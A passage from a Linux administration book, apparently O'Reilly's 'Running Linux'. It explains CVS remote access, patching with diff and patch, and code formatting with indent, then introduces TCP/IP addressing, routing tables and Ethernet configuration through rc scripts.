If you decide that you want to stop working on a project for a time, you should check whether you have really committed all changes. To do this, change to the directory above the root directory of your project and issue the command:

$tigger cvs release dataimport

CVS then checks whether you have written back all changes into the repository and warns you if necessary. A useful option is -d, which deletes the local tree if all changes have been committed.

14.2.8.3. CVS over the Internet

CVS is also very useful where distributed development teams[55] are concerned, because it provides several possibilities to access a repository on another machine.

[55]The use of CVS has burgeoned along with the number of free software projects which are developed over the Internet by people from different continents.

If you can log into the machine holding the repository with rsh, you can use remote CVS to access the repository. To check out a module, do the following:

cvs -d :ext:user@domain.com:/path/to/repository checkout dataimport

If you cannot or do not want to use rsh for security reasons, you can also use the secure shell ssh. You can tell CVS that you want to use ssh by setting the environment variable CVS_RSH to ssh.

Authentication and access to the repository can also be done via a client/server protocol. Remote access requires a CVS server running on the machine with the repository; see the CVS documentation for how to do this. If the server is set up, you can login to it with:

cvs -d :pserver:user@domain.com:path/to/repository
CVS password:

As shown, the CVS server will ask you for your CVS password, which has been assigned to you by the administrator of the CVS server. This login procedure is necessary only once for every repository. When you check out a module, you need to specify the machine with the server, your username on that machine, and the remote path to the repository; as with local repositories, this information is saved in your local tree. Since the password is saved with minimal encryption in the file .cvspass in your home directory, there is a potential security risk here. The CVS documentation tells you more about this.

When you use CVS over the Internet and check out or update largish modules, you might also want to use the -z option, which expects an additional integer parameter and transmits the data in compressed form.

14.2.9. Patching Files

Let's say that you're trying to maintain a program that is updated periodically, but the program contains many source files, and releasing a complete source distribution with every update is not feasible. The best way to incrementally update source files is with patch, a program by Larry Wall, author of Perl.

patch is a program that makes context-dependent changes in a file in order to update that file from one version to the next. This way, when your program changes, you simply release a patch file against the source, which the user applies with patch to get the newest version. For example, Linus Torvalds usually releases new Linux kernel versions in the form of patch files as well as complete source distributions.

A nice feature of patch is that it applies updates in context; that is, if you have made changes to the source yourself, but still wish to get the changes in the patch file update, patch usually can figure out the right location in the original file to apply the changes to. This way, your versions of the original source files don't need to correspond exactly to those that the patch file was made against.

In order to make a patch file, the program diff is used, which produces "context diffs" between two files. For example, take our overused "Hello World" source code, given here:

/* hello.c version 1.0 by Norbert Ebersol */
#include <stdio.h>

int main() {
  printf("Hello, World!");
  exit(0);
}

Let's say that you were to update this source, as in the following:

/* hello.c version 2.0 */
/* (c)1994 Norbert Ebersol */
#include <stdio.h>

int main() {
  printf("Hello, Mother Earth!\n");
  return 0;
}

If you want to produce a patch file to update the original hello.c to the newest version, use diff with the -c option:

papaya$ diff -c hello.c.old hello.c > hello.patch
This produces the patch file hello.patch that describes how to convert the original hello.c (here, saved in the file hello.c.old) to the new version. You can distribute this patch file to anyone who has the original version of "Hello, World," and they can use patch to update it.

Using patch is quite simple; in most cases, you simply run it with the patch file as input:[56]

papaya$ patch < hello.patch
Hmm...  Looks like a new-style context diff to me...
The text leading up to this was:
--------------------------
|*** hello.c.old        Sun Feb  6 15:30:52 1994
|--- hello.c    Sun Feb  6 15:32:21 1994
--------------------------
Patching file hello.c using Plan A...
Hunk #1 succeeded at 1.
done
papaya$
patch warns you if it appears as though the patch has already been applied. If we tried to apply the patch file again, patch would ask us if we wanted to assume that -R was enabled--which reverses the patch. This is a good way to back out patches you didn't intend to apply. patch also saves the original version of each file that it updates in a backup file, usually named filename~ (the filename with a tilde appended).

[56]The output shown here is from the last version that Larry Wall has released, Version 2.1. If you have a newer version of patch, you will need the - -verbose flag to get the same output.

In many cases, you'll want to update not only a single source file but an entire directory tree of sources. patch allows many files to be updated from a single diff. Let's say you have two directory trees, hello.old and hello, which contain the sources for the old and new versions of a program, respectively. To make a patch file for the entire tree, use the -r switch with diff:

papaya$ diff -cr hello.old hello > hello.patch

Now, let's move to the system where the software needs to be updated. Assuming that the original source is contained in the directory hello, you can apply the patch with:

papaya$ patch -p0 < hello.patch

The -p0 switch tells patch to preserve the pathnames of files to be updated (so it knows to look in the hello directory for the source). If you have the source to be patched saved in a directory named differently from that given in the patch file, you may need to use the -p option. See the patch manual page for details about this.

14.2.10. Indenting Code

If you're terrible at indenting code and find the idea of an editor that automatically indents code for you on-the-fly a bit annoying, you can use the indent program to pretty-print your code after you're done writing it. indent is a smart C-code formatter, and has many options allowing you to specify just what kind of indentation style you wish to use.

Take this terribly formatted source:

double fact (double n) { if (n==1) return 1;
else return (n*fact(n-1)); }
int main () {
printf("Factorial 5 is %f.\n",fact(5));
printf("Factorial 10 is %f.\n",fact(10)); exit (0); }
Running indent on this source produces the relatively beautiful code:
#include <math.h>

double
fact (double n)
{
  if (n == 1)
    return 1;
  else
    return (n * fact (n - 1));
}
void
main ()
{

  printf ("Factorial 5 is %f.\n", fact (5));
  printf ("Factorial 10 is %f.\n", fact (10));
  exit (0);
}
 Not only are lines indented well, but whitespace is added around operators and function parameters to make them more readable. There are many ways to specify how the output of indent will look; if you're not fond of this particular indentation style, indent can accommodate you.

indent can also produce troff code from a source file, suitable for printing or for inclusion in a technical document. This code will have such nice features as italicized comments, boldfaced keywords, and so on. Using a command such as:

papaya$ indent -troff importrtf.c | groff -mindent
produces troff code and formats it with groff.

Previous | Home | Next
14. Tools for Programmers | Book Index | 15. TCP/IP and PPP
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


TCP/IP and PPP (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 15. TCP/IP and PPP

Contents:

Networking with TCP/IP
Dial-up PPP
PPP over ISDN
NFS and NIS Configuration

So, you've staked out your homestead on the Linux frontier, and installed and configured your system. What next? Eventually you'll want to communicate with other systems--Linux and otherwise--and the Pony Express isn't going to suffice.

Fortunately, Linux supports a number of methods for data communication and networking. This includes serial communications, TCP/IP, and UUCP. In this chapter and the next, we will discuss how to configure your system to communicate with the world.

Linux Network Administrator's Guide, available from the Linux Documentation Project (see the Bibliography) and also published by O'Reilly & Associates, is a complete guide to configuring TCP/IP and UUCP networking under Linux. For a detailed account of the information presented here, we refer you to that book.

15.1. Networking with TCP/IP

Linux supports a full implementation of the Transmission Control Protocol/Internet Protocol (TCP/IP) networking protocols. TCP/IP has become the most successful mechanism for networking computers worldwide. With Linux and an Ethernet card, you can network your machine to a Local Area Network (LAN) or (with the proper network connections) to the Internet--the worldwide TCP/IP network.

Hooking up a small LAN of Unix machines is easy. It simply requires an Ethernet controller in each machine and the appropriate Ethernet cables and other hardware. Or if your business or university provides access to the Internet, you can easily add your Linux machine to this network.

Linux TCP/IP support has had its ups and downs. After all, implementing an entire protocol stack from scratch isn't something that one does for fun on a weekend. On the other hand, the Linux TCP/IP code has benefited greatly from the hoard of beta testers and developers to have crossed its path, and as time has progressed many bugs and configuration problems have fallen in their wake.

The current implementation of TCP/IP and related protocols for Linux is called NET-4. This has no relationship to the so-called NET-2 release of BSD Unix; instead, in this context, NET-4 means the fourth implementation of TCP/IP for Linux. Before NET-4 came (no surprise here) NET-3, NET-2, and NET-1, the last having been phased out around kernel Version 0.99.pl10. NET-4 supports nearly all the features you'd expect from a Unix TCP/IP implementation and a wide range of networking hardware.

Linux NET-2 also supports Serial Line Internet Protocol (SLIP) and Point-to-Point Protocol (PPP). SLIP and PPP allow you to have dial-up Internet access using a modem. If your business or university provides SLIP or PPP access, you can dial in to the SLIP or PPP server and put your machine on the Internet over the phone line. Alternatively, if your Linux machine also has Ethernet access to the Internet, you can configure it as a SLIP or PPP server.

In the following sections, we won't mention SLIP any more, because nowadays most people use PPP. If you want to run SLIP on your machine, you can find all the information in the Linux Network Administrator's Guide.

Besides the Linux Network Administrator's Guide, the Linux NET-3 HOWTO contains more or less complete information on configuring TCP/IP and PPP for Linux. The Linux Ethernet HOWTO is a related document that describes configuration of various Ethernet card drivers for Linux.

Also of interest is TCP/IP Network Administration by Craig Hunt. It contains complete information on using and configuring TCP/IP on Unix systems. If you plan to set up a network of Linux machines or do any serious TCP/IP hacking, you should have the background in network administration presented by that book.

If you really want to get serious about setting up and operating networks, you will probably also want to read DNS and BIND by Cricket Liu and Paul Albitz. This book tells you all there is to know about name servers in a refreshingly funny manner.

15.1.1. TCP/IP Concepts

In order to fully appreciate (and utilize) the power of TCP/IP, you should be familiar with its underlying principles. Transmission Control Protocol/Internet Protocol is a suite of protocols (the magic buzzword for this chapter) that define how machines should communicate with each other via a network, as well as internally to other layers of the protocol suite. For the theoretical background of the Internet protocols, the best sources of information are the first volume of Douglas Comer's Internetworking with TCP/IP and the first volume of W. Richard Stevens' TCP/IP Illustrated.

TCP/IP was originally developed for use on the Advanced Research Projects Agency network, ARPAnet, which was funded to support military and computer-science research. Therefore, you may hear TCP/IP being referred to as the "DARPA Internet Protocols." Since then, many other TCP/IP networks have come into use, such as the National Science Foundation's NSFNET, as well as thousands of other local and regional networks around the world. All of these networks are interconnected into a single conglomerate known as the Internet.

On a TCP/IP network, each machine is assigned an IP address, which is a 32-bit number uniquely identifying the machine. You need to know a little about IP addresses to structure your network and assign addresses to hosts. The IP address is usually represented as a dotted quad: four numbers in decimal notation, separated by dots. As an example, the IP address 0x80114b14 (in hexadecimal format) can be written as 128.17.75.20.

The IP address is divided into two parts: the network address and the host address. The network address consists of the higher-order bits of the address and the host address of the remaining bits. (In general, each host is a separate machine on the network.) The size of these two fields depends upon the type of network in question. For example, on a Class B network (for which the first byte of the IP address is between 128 and 191), the first two bytes of the address identify the network, and the remaining two bytes identify the host (see Figure 15-1). For the example address just given, the network address is 128.17, and the host address is 75.20. To put this another way, the machine with IP address 128.17.75.20 is host number 75.20 on the network 128.17.

Figure 15-1. IP address

In addition, the host portion of the IP address may be subdivided to allow for a subnetwork address. Subnetworking allows large networks to be divided into smaller subnets, each of which may be maintained independently. For example, an organization may allocate a single Class B network, which provides two bytes of host information, up to 65,534 hosts on the network. The organization may then wish to dole out the responsibility of maintaining portions of the network, so that each subnetwork is handled by a different department. Using subnetworking, the organization can specify, for example, that the first byte of the host address (that is, the third byte of the overall IP address) is the subnet address, and the second byte is the host address for that subnetwork (see Figure 15-2). In this case, the IP address 128.17.75.20 identifies host number 20 on subnetwork 75 of network 128.17.[57]

[57]Why not 65,536 instead? For reasons to be discussed later, a host address of 0 or 255 is invalid.

Figure 15-2. IP address with subnet

Processes (either on the same machine or on different machines) that wish to communicate via TCP/IP generally specify the destination machine's IP address as well as a port address. The destination IP address is used, of course, to route data from one machine to the destination machine. The port address is a 16-bit number that specifies a particular service or application on the destination machine that should receive the data. Port numbers can be thought of as office numbers at a large office building: the entire building has a single IP address, but each business has a separate office there.

Here's a real-life example of how IP addresses and port numbers are used. The telnet program allows a user on one machine to start a login session on another. On the remote machine, there is the telnet "daemon," telnetd, which is listening to a specific port for incoming connections (in this case, the port number is 23).[58]

[58]On many systems, telnetd is not always listening to port 23; the Internet services daemon inetd is listening on its behalf. For now, let's sweep that detail under the carpet.

The user executing telnet specifies the address of the machine to log in to, and the telnet program attempts to open a connection to port 23 on the remote machine. If it is successful, telnet and telnetd are able to communicate with each other to provide the remote login for the user in question.

Note that the telnet client on the local machine has a port address of its own. This port address is allocated to the client dynamically when it begins execution. This is because the remote telnetd doesn't need to know the port number of the incoming telnet client beforehand. When the client initiates the connection, part of the information it sends to telnetd is its port number. telnetd can be thought of as a business with a well-known mailing address. Any customers that wish to correspond with the telnetd running on a particular machine need to know not only the IP address of the machine to talk to (the address of the telnetd office building), but also the port number where telnetd can be found (the particular office within the building). The address and port number of the telnet client are included as part of the "return address" on the envelope containing the letter.

The TCP/IP family contains a number of protocols. Transmission Control Protocol (TCP) is responsible for providing reliable, connection-oriented communications between two processes, which may be running on different machines on the network. User Datagram Protocol (UDP) is similar to TCP except that it provides connectionless, unreliable service. Processes that use UDP must implement their own acknowledgment and synchronization routines if necessary.

TCP and UDP transmit and receive data in units known as packets. Each packet contains a chunk of information to send to another machine, as well as a header specifying the destination and source port addresses.

Internet Protocol (IP) sits beneath TCP and UDP in the protocol hierarchy. It is responsible for transmitting and routing TCP or UDP packets via the network. In order to do so, IP wraps each TCP or UDP packet within another packet (known as an IP datagram), which includes a header with routing and destination information. The IP datagram header includes the IP address of the source and destination machines.

Note that IP doesn't know anything about port addresses; those are the responsibility of TCP and UDP. Similarly, TCP and UDP don't deal with IP addresses, which (as the name implies) are only IP's concern. As you can see, the mail metaphor with return addresses and envelopes is quite accurate: each packet can be thought of as a letter contained within an envelope. TCP and UDP wrap the letter in an envelope with the source and destination port numbers (office numbers) written on it.

IP acts as the mail room for the office building sending the letter. IP receives the envelope and wraps it in yet another envelope, with the IP address (office building address) of both the destination and the source affixed. The post office (which we haven't discussed quite yet) delivers the letter to the appropriate office building. There, the mail room unwraps the outer envelope and hands it to TCP/UDP, which delivers the letter to the appropriate office based on the port number (written on the inner envelope). Each envelope has a return address that IP and TCP/UDP use to reply to the letter.

In order to make the specification of machines on the Internet more humane, network hosts are often given a name as well as an IP address. The Domain Name Service (DNS) takes care of translating hostnames to IP addresses, and vice versa, as well as handles the distribution of the name-to-IP address database across the entire Internet. Using hostnames also allows the IP address associated with a machine to change (e.g., if the machine is moved to a different network), without having to worry that others won't be able to "find" the machine once the address changes. The DNS record for the machine is simply updated with the new IP address, and all references to the machine, by name, will continue to work.

DNS is an enormous, worldwide distributed database. Each organization maintains a piece of the database, listing the machines in the organization. If you find yourself in the position of maintaining the list for your organization, you can get help from the Linux Network Administrator's Guide or TCP/IP Network Administration. If those aren't enough, you can really get the full scoop from the book DNS and BIND.

For the purposes of most administration, all you need to know is that a daemon called named (pronounced "name-dee") has to run on your system. This daemon is your window onto DNS.

Now, we might ask ourselves how a packet gets from one machine (office building) to another. This is the actual job of IP, as well as a number of other protocols that aid IP in its task. Besides managing IP datagrams on each host (as the mail room), IP is also responsible for routing packets between hosts.

Before we can discuss how routing works, we must explain the model upon which TCP/IP networks are built. A network is just a set of machines that are connected together through some physical network medium--such as Ethernet or serial lines. In TCP/IP terms, each network has its own methods for handling routing and packet transfer internally.

Networks are connected to each other via gateways (also known as routers). A gateway is a host that has direct connections to two or more networks; the gateway can then exchange information between the networks and route packets from one network to another. For instance, a gateway might be a workstation with more than one Ethernet interface. Each interface is connected to a different network, and the operating system uses this connectivity to allow the machine to act as a gateway.

In order to make our discussion more concrete, let's introduce an imaginary network, made up of the machines eggplant, papaya, apricot, and zucchini. Figure 15-3 depicts the configuration of these machines on the network. Note that papaya is connected to another network as well, which includes the machines pineapple and pear. These machines have the respective IP addresses:

Hostname | IP address
eggplant | 128.17.75.20
apricot | 128.17.75.12
zucchini | 128.17.75.37
papaya | 128.17.75.98, 128.17.112.3
pear | 128.17.112.21
pineapple | 128.17.112.40, 128.17.30.1

Figure 15-3. Network with two gateways

As you can see, papaya has two IP addresses--one on the 128.17.75 subnetwork and another on the 128.17.112 subnetwork. pineapple has two IP addresses as well--one on 128.17.112 and another on 128.17.30.

IP uses the network portion of the IP address to determine how to route packets between machines. In order to do this, each machine on the network has a routing table, which contains a list of networks and the gateway machine for that network. To route a packet to a particular machine, IP looks at the network portion of the destination address. If there is an entry for that network in the routing table, IP routes the packet through the appropriate gateway. Otherwise, IP routes the packet through the "default" gateway given in the routing table.

Routing tables can contain entries for specific machines as well as for networks. In addition, each machine has a routing table entry for itself.

Let's examine the routing table for eggplant. Using the command netstat -rn, we see the following:

eggplant:$ netstat -rn
Kernel IP routing table
Destination   Gateway       Genmask        Flags  MSS  Window irtt Iface
128.17.75.0   128.17.75.20  255.255.255.0  UN     1500 0         0 eth0
default       128.17.75.98  0.0.0.0        UGN    1500 0         0 eth0

127.0.0.1     127.0.0.1     255.0.0.0      UH     3584 0         0 lo
128.17.75.20  127.0.0.1     255.255.255.0  UH     3584 0         0 lo
The first column displays the destination networks (and hosts) that the routing table includes. The first entry is for the network 128.17.75 (note that the host address is 0 for network entries), which is the network that eggplant lives on. Any packets sent to this network should be routed through 128.17.75.20, which is the IP address of eggplant. In general, a machine's route to its own network is through itself.

The Flags column of the routing table gives information on the destination address for this entry; U specifies that the route is "up," N that the destination is a network, and so on. The MSS field shows how many bytes are transferred at a time over the respective connection, Window indicates how many frames may be sent ahead before a confirmation must be made, irtt gives statistics on the use of this route, and Iface lists the network device used for the route. On Linux systems, Ethernet interfaces are named eth0, eth1, and so on. lo is the loopback device, which we'll discuss shortly.

The second entry in the routing table is the default route, which applies to all packets destined for networks or hosts for which there is no entry in the table. In this case, the default route is through papaya, which can be considered the door to the outside world. Every machine on the 128.17.75 subnet must go through papaya to talk to machines on any other network.

The third entry in the table is for the address 127.0.0.1, which is the loopback address. This address is used when a machine wants to make a TCP/IP connection to itself. It uses the lo device as its interface, which prevents loopback connections from using the Ethernet (via the eth0 interface). In this way, network bandwidth is not wasted when a machine wishes to talk to itself.

The last entry in the routing table is for the IP address 128.17.75.20, which is the eggplant host's own address. As we can see, it uses 127.0.0.1 as its gateway. This way, any time eggplant makes a TCP/IP connection to itself, the loopback address is used as the gateway, and the lo network device is used.

Let's say that eggplant wants to send a packet to zucchini. The IP datagram contains a source address of 128.17.75.20 and a destination address of 128.17.75.37. IP determines that the network portion of the destination address is 128.17.75 and uses the routing table entry for 128.17.75.0 accordingly. The packet is sent directly to the network, which zucchini receives and is able to process.

What happens if eggplant wants to send packets to a machine not on the local network, such as pear? In this case, the destination address is 128.17.112.21. IP attempts to find a route for the 128.17.112 network in the routing tables, but none exists, so it selects the default route through papaya. papaya receives the packet and looks up the destination address in its own routing tables. The routing table for papaya might look like this:

Destination   Gateway       Genmask        Flags  MSS  Window irtt Iface
128.17.75.0   128.17.75.98  255.255.255.0  UN     1500 0         0 eth0
128.17.112.0  128.17.112.3  255.255.255.0  UN     1500 0         0 eth1
default       128.17.112.40 0.0.0.0        UGN    1500 0         0 eth1
127.0.0.1     127.0.0.1     255.0.0.0      UH     3584 0         0 lo
128.17.75.98  127.0.0.1     255.255.255.0  UH     3584 0         0 lo
As you can see, papaya is connected to the 128.17.75 network through its eth0 device and to 128.17.112 through eth1. The default route is through pineapple, which is a gateway to the Wild Blue Yonder (as far as papaya is concerned).

Once papaya receives a packet destined for pear, it sees that the destination address is on the network 128.17.112 and routes that packet to the network using the second entry in the routing table.

Similarly, if eggplant wants to send packets to machines outside the local organization, it would route packets through papaya (its gateway). papaya would, in turn, route outgoing packets through pineapple, and so forth. Packets are handed from one gateway to the next until they reach the intended destination network. This is the basic structure upon which the Internet is based: a seemingly infinite chain of networks, interconnected via gateways.

15.1.2. Hardware Requirements

You can use Linux TCP/IP without any networking hardware at all; configuring "loopback" mode allows you to talk to yourself. This is necessary for some applications and games that use the loopback network device.

However, if you want to use Linux with an Ethernet TCP/IP network, obviously you'll need an Ethernet adapter card. Many Ethernet adapters are supported by Linux for the ISA, EISA, and PCI buses, as well as pocket and PCMCIA adapters. In Chapter 1, "Introduction to Linux", we provided a partial list of supported Ethernet cards; see the Linux Ethernet HOWTO for a complete discussion of Linux Ethernet hardware compatibility.

Linux also supports SLIP and PPP, which allow you to use a modem to access the Internet over the phone line. In this case, you'll need a modem compatible with your SLIP or PPP server; for example, many servers require a 56kbps V.90 modem (most also support K56flex). In this book, we describe the configuration of PPP, because it is what most Internet service providers offer. If you want to use the older SLIP, please see the Linux Network Administrator's Guide.

15.1.3. Configuring TCP/IP with Ethernet

In this section, we discuss how to configure an Ethernet TCP/IP connection on a Linux system. Presumably this system will be part of a local network of machines that are already running TCP/IP; in which case your gateway, name server, and so forth are already configured and available.

The following information applies primarily to Ethernet connections. If you're planning to use PPP, read this section to understand the concepts, and follow the PPP-specific instructions in the section "Section 15.2, "Dial-up PPP"" later in this chapter.

On the other hand, you may wish to set up an entire LAN of Linux machines (or a mix of Linux machines and other systems). In this case, you'll have to take care of a number of other issues not discussed here. This includes setting up a name server for yourself, as well as a gateway machine if your network is to be connected to other networks. If your network is to be connected to the Internet, you'll also have to obtain IP addresses and related information from your access provider.

In short, the method described here should work for many Linux systems configured for an existing LAN--but certainly not all. For further details, we direct you to a book on TCP/IP network administration, such as those mentioned at the beginning of this chapter.

First of all, we assume that your Linux system has the necessary TCP/IP software installed. This includes basic clients such as Telnet and FTP, system-administration commands, such as ifconfig and route (usually found in /etc or /sbin), and networking configuration files (such as /etc/hosts). The other Linux-related networking documents described earlier explain how to go about installing the Linux networking software if you do not have it already.

We also assume that your kernel has been configured and compiled with TCP/IP support enabled. See the section "Section 7.4, "Building a New Kernel"" in Chapter 7, "Upgrading Software and the Kernel", for information on compiling your kernel. To enable networking, you must answer yes to the appropriate questions during the make config or make menuconfig step, rebuild the kernel, and boot from it.

Once this has been done, you must modify a number of configuration files used by NET-4. For the most part this is a simple procedure. Unfortunately, however, there is wide disagreement between Linux distributions as to where the various TCP/IP configuration files and support programs should go. Much of the time, they can be found in /etc, but in other cases may be found in /usr/etc, /usr/etc/inet, or other bizarre locations. In the worst case, you'll have to use the find command to locate the files on your system. Also note that not all distributions keep the NET-2 configuration files and software in the same location; they may be spread across several directories.

This section also assumes use of one Ethernet device on the system. These instructions should be fairly easy to extrapolate if your system has more than one network connection (and hence acts as a gateway).

Here, we also discuss configuration for loopback-only systems (systems with no Ethernet or PPP connection). If you have no network access, you may wish to configure your system for loopback-only TCP/IP, so that you can use applications that require it.

15.1.3.1. Your network configuration

Before you can configure TCP/IP, you need to determine the following information about your network setup. In most cases, your local network administrator or network-access provider can provide you with this information:

Your IP address

This is the unique machine address in dotted-decimal format. An example is 128.17.75.98. Your network administrators will provide you with this number.

If you're configuring loopback mode (i.e., no PPP, no Ethernet card, just TCP/IP connections to your own machine), your IP address is 127.0.0.1.

Your subnetwork mask

This is a dotted quad, similar to the IP address, which determines which portion of the IP address specifies the subnetwork number and which portion specifies the host on that subnet.

The subnetwork mask is a pattern of bits, which, when bitwise-ANDed with an IP address on your network, will tell you which subnet that address belongs to. For example, your subnet mask might be 255.255.255.0. If your IP address is 128.17.75.20, the subnetwork portion of your address is 128.17.75.

We distinguish here between "network address" and "subnetwork address." Remember that for Class B addresses, the first two bytes (here, 128.17) specify the network, while the second two bytes specify the host. With a subnet mask of 255.255.255.0, however, 128.17.75 is considered the entire subnet address (e.g., subnetwork 75 of network 128.17), and 20 the host address.

Your network administrators choose the subnet mask and therefore can provide you with this information.

This applies as well to the loopback device. Since the loopback address is always 127.0.0.1, the netmask for this device is always 255.0.0.0.

Your subnetwork address

This is the subnet portion of your IP address as determined by the subnet mask. For example, if your subnet mask is 255.255.255.0 and your IP address 128.17.75.20, your subnet address is 128.17.75.0.

Loopback-only systems don't have a subnet address.

Your broadcast address

This address is used to broadcast packets to every machine on your subnet. In general, this is equal to your subnet address (see previous item) with 255 replaced as the host address. For subnet address 128.17.75.0, the broadcast address is 128.17.75.255. Similarly, for subnet address 128.17.0.0, the broadcast address is 128.17.255.255.

Note that some systems use the subnet address itself as the broadcast address. If you have any doubt, check with your network administrators.

Loopback-only systems do not have a broadcast address.

The IP address of your gateway

This is the address of the machine that acts as the default route to the outside world. In fact, you may have more than one gateway address--for example, if your network is connected directly to several other networks. However, only one of these will act as the default route. (Recall the example in the previous section, where the 128.17.112.0 network is connected both to 128.17.75.0 through papaya, and to the outside world through pineapple.)

Your network administrators will provide you with the IP addresses of any gateways on your network, as well as the networks they connect to. Later, you will use this information with the route command to include entries in the routing table for each gateway.

Loopback-only systems do not have a gateway address. The same is true for isolated networks.

The IP address of your name server

This is the address of the machine that handles hostname-to-address translations for your machine. Your network administrators will provide you with this information.

You may wish to run your own name server (by configuring and running named). However, unless you absolutely must run your own name server (for example, if there is no other name server available on your local network), we suggest using the name-server address provided by your network administrators. At any rate, most books on TCP/IP configuration include information on running named.

Naturally, loopback-only systems have no name-server address.

15.1.3.2. The networking rc files

rc files are systemwide resource configuration scripts executed at boottime by init. They run basic system daemons (such as sendmail, crond, and so on) and are used to configure network parameters. rc files are usually found in the directory /etc/rc.d.

Note that there are many ways to carry out the network configuration described here. Every Linux distribution uses a slightly different mechanism to help automate the process. What we describe here is a generic method that allows you to create two rc files that will run the appropriate commands to get your machine talking to the network. Most distributions have their own scripts that accomplish more or less the same thing. If in doubt, first attempt to configure networking as suggested by the documentation for your distribution and, as a last resort, use the methods described here. (As an example, the Red Hat distribution uses the script /etc/rc.d/init.d/network, which obtains network information from files in /etc/sysconfig. The control-panel system administration program provided with Red Hat configures networking automatically without editing any of these files. The SuSE distribution, on the other hand, distributes the configuration over several files, such as /sbin/init.d/network and /sbin/init.d/route, among others, and lets you configure most networking aspects via the tool yast.)

Here, we're going to describe the rc files used to configure TCP/IP:

Red Hat

Networking is scattered among files for each init level that includes networking. For instance, the /etc/rc.d/rc1.d directory controls a level 1 (single-user) boot, so it doesn't have any networking commands, but the /etc/rc.d/rc3.d controlling a level 3 boot has files specifically to start networking.

SuSE

All the startup files for all system services, including networking, are grouped together in the /sbin/init.d directory. They are actually quite generic and get their actual values from the system-wide configuration file /etc/rc.config. The most important files here are /sbin/init.d/network, which starts and halts network interfaces, /sbin/init.d/route, which configures routing, and /sbin/init.d/ serial, which configures serial ports. If you have ISDN hardware, the files /sbin/init.d/i4l and /sbin/init.d/i4l_hardware are applicable, too. Note that in general, you do not need to (and should not) edit those files; edit /etc/rc.config instead.

Debian

The network configuration (Ethernet cards, IP addresses, and routing) is set up in the file /etc/init.d/network. The base networking daemons (portmap and inetd themselves are initialized by the start-stop script /etc/init.d/netbase).

Slackware

Networking is started by files named rc.inet1 and rc.inet2. rc.inet1 is used to configure the basic network parameters (such as IP addresses and routing information), and rc.inet2 fires up the TCP/IP daemons (telnetd, ftpd, and so forth).

init uses the file /etc/inittab to determine what processes to run at boot time. In order to run the files /etc/rc.d/rc.inet1 and /etc/rc.d/rc.inet2 from init, /etc/inittab might include entries such as:

n1:34:wait:/etc/rc.d/rc.inet1
n2:34:wait:/etc/rc.d/rc.inet2
The inittab file is described in the section "Section 5.3.2, "init, inittab, and rc files"" in Chapter 5, "Essential System Management". The first field gives a unique two-character identifier for each entry. The second field lists the runlevels in which the scripts are run; on this system, we initialize networking in runlevels 3 and 4. The word wait in the third field tells init to wait until the script has finished execution before continuing. The last field gives the name of the script to run.

While you are first setting up your network configuration, you may wish to run rc.inet1 and rc.inet2 by hand (as root) in order to debug any problems. Later you can include entries for them in another rc file or in /etc/inittab.

As mentioned earlier, rc.inet1 configures the basic network interface. This includes your IP and network address and the routing table information for your system. Two programs are used to configure these parameters: ifconfig and route. Both of these are usually found in /sbin.

ifconfig is used for configuring the network device interface with certain parameters, such as the IP address, subnetwork mask, broadcast address, and the like. route is used to create and modify entries in the routing table.

For most configurations, an rc.inet1 file similar to the following should work. You will, of course, have to edit this for your own system. Do not use the sample IP and network addresses listed here; they may correspond to an actual machine on the Internet:

#!/bin/sh
# This is /etc/rc.d/rc.inet1 - Configure the TCP/IP interfaces

# First, configure the loopback device

HOSTNAME=`hostname`

/sbin/ifconfig lo 127.0.0.1   # uses default netmask 255.0.0.0
/sbin/route add 127.0.0.1     # a route to point to the loopback device

# Next, configure the ethernet device. If you're only using loopback or
# SLIP, comment out the rest of these lines.

# Edit for your setup.
IPADDR="128.17.75.20"       # REPLACE with your IP address
NETMASK="255.255.255.0"     # REPLACE with your subnet mask
NETWORK="128.17.75.0"       # REPLACE with your network address
BROADCAST="128.17.75.255"   # REPLACE with your broadcast address
GATEWAY="128.17.75.98"      # REPLACE with your default gateway address

# Configure the eth0 device to use information above
/sbin/ifconfig eth0 ${IPADDR} netmask ${NETMASK} broadcast ${BROADCAST}

# Add a route for our own network
/sbin/route add ${NETWORK}

# Add a route to the default gateway
/sbin/route add default gw ${GATEWAY} metric 1

# End of Ethernet Configuration

As you can see, the format of the ifconfig command is:

ifconfig interface device options…
For example:
ifconfig lo 127.0.0.1
assigns the lo (loopback) device the IP address 127.0.0.1, and:
ifconfig eth0 127.17.75.20
assigns the eth0 (first Ethernet) device the address 127.17.75.20.

In addition to specifying the address, Ethernet devices usually require that the subnetwork mask be set with the netmask option and the broadcast address be set with broadcast.

The format of the route command, as used here, is:

route add [ -net | -host ] destination [ gw gateway ]
[ metric metric ] options
where destination is the destination address for this route (or the keyword default), gateway the IP address of the gateway for this route, and metric the metric number for the route (discussed later).

We use route to add entries to the routing table. You should add a route for the loopback device (as seen earlier), for your local network, and for your default gateway. For example, if our default gateway is 128.17.75.98, we would use the command:

route add default gw 128.17.75.98
route takes several options. Using -net or -host before destination will tell route that the destination is a network or specific host, respectively. (In most cases, routes point to networks, but in some situations you may have an independent machine that requires its own route. You would use -host for such a routing table entry.)

The metric option specifies a metric value for this route. Metric values are used when there is more than one route to a specific location, and the system must make a decision about which to use. Routes with lower metric values are preferred. In this case, we set the metric value for our default route to 1, which forces that route to be preferred over all others.

How could there possibly be more than one route to a particular location? First of all, you may use multiple route commands in rc.inet1 for a particular destination--if you have more than one gateway to a particular network, for example. However, your routing tables may dynamically acquire additional entries in them if you run routed (discussed further below). If you run routed, other systems may broadcast routing information to machines on the network, causing extra routing table entries to be created on your machine. By setting the metric value for your default route to 1, you ensure that any new routing table entries will not supersede the preference of your default gateway.

You should read the manual pages for ifconfig and route, which describe the syntax of these commands in detail. There may be other options to ifconfig and route that are pertinent to your configuration.

Let's move on. rc.inet2 is used to run various daemons used by the TCP/IP suite. These are not necessary in order for your system to talk to the network, and are therefore relegated to a separate rc file. In most cases you should attempt to configure rc.inet1, and ensure that your system is able to send and receive packets from the network, before bothering to configure rc.inet2.

Among the daemons executed by rc.inet2 are inetd, syslogd, and routed. The version of rc.inet2 on your system may currently start a number of other servers, but we suggest commenting these out while you are debugging your network configuration.

The most important of these servers is inetd, which acts as the "operator" for other system daemons. It sits in the background and listens to certain network ports for incoming connections. When a connection is made, inetd spawns off a copy of the appropriate daemon for that port. For example, when an incoming Telnet connection is made, inetd forks in.telnetd, which handles the Telnet connection from there. This is simpler and more efficient than running individual copies of each daemon. This way, network daemons are executed on demand.

